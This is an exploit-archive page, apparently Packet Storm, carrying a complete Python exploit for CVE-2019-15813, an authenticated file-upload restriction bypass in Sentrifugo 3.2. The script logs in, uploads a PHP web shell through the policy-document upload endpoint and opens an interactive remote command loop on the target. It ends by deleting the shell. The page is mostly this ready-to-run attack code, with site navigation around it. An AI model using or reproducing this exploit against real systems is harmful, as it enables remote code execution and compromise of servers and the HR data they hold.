exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sentrifugo 3.2 Shell Upload / Restriction Bypass

Sentrifugo 3.2 Shell Upload / Restriction Bypass
Posted Oct 27, 2020
Authored by Gurkirat Singh

Sentrifugo version 3.2 suffers from a restriction bypass vulnerability that allows for a remote shell upload.

tags | exploit, remote, shell, bypass
advisories | CVE-2019-15813
SHA-256 | a05d1d824f04e21827b1223740bd0ad9159748f8c1c37a84d21f5b2b6b90846c

Sentrifugo 3.2 Shell Upload / Restriction Bypass

Change Mirror Download
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)
# Date: 26/10/2020
# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>
# Vendor Homepage: http://www.sentrifugo.com/
# POC Link: https://www.exploit-db.com/exploits/47323
# Version: 3.2
# Tested on: Linux and Windows
# CVE : CVE-2019-15813
# Contact Details: https://google.com/search?q=tbhaxor

from argparse import ArgumentParser, RawTextHelpFormatter
from bs4 import BeautifulSoup, Tag
from requests.sessions import Session
import tempfile as tmp
import os.path as path
import random
import string
from huepy import *

parser = ArgumentParser(description="Exploit for CVE-2019-15813",
formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
"-t",
help="target uri where application is installed",
required=True,
metavar="",
dest="t")
parser.add_argument("--user",
"-u",
help="username to authenticate",
required=True,
metavar="",
dest="u")
parser.add_argument("--password",
"-p",
help="password to authenticate",
required=True,
metavar="",
dest="p")
args = parser.parse_args()

if args.t.endswith("/"):
args.t = args.t[:-1]

F = "".join(random.choices(string.ascii_letters, k=13)) + ".php"

with Session() as http:
print(run("Logging in"))
data = {"username": args.u, "password": args.p}

r = http.post(args.t + "/index.php/index/loginpopupsave",
data=data,
allow_redirects=False)

if not (r.headers.get("Location", "").endswith("welcome")
or r.headers.get("Location", "").endswith("welcome/")):
print(bad("Unable to login. Check username / password"))
exit(1)
print(good("Logged in"))

print(run("Exploiting"))
files = {"myfile": ("shell.php", "<?php system($_POST['cmd']); ?>")}

r = http.post(args.t + "/index.php/policydocuments/uploaddoc", files=files)
if r.status_code != 200:
print(bad("Unable to upload file"))
exit(1)
file_name = r.json()["filedata"]["new_name"]
print(info("Spawning shell"))

user = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
data={"cmd": "whoami"})
host = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
data={"cmd": "cat /etc/hostname"})
shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"

while True:
try:
cmd = input(shell)
if cmd == "exit": break
r = http.post(args.t + "/public/uploads/policy_doc_temp/" +
file_name,
data={"cmd": cmd})
print(r.content.decode().strip())
except Exception as e:
print()
break

print(run("Cleaning"))
http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
data={"cmd": "rm %s" % file_name})
r = http.get(args.t + "/public/uploads/policy_doc_temp/" + file_name)
if r.status_code == 404:
print(good("Cleaned"))
else:
print(bad("Unable to clean the file"))
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close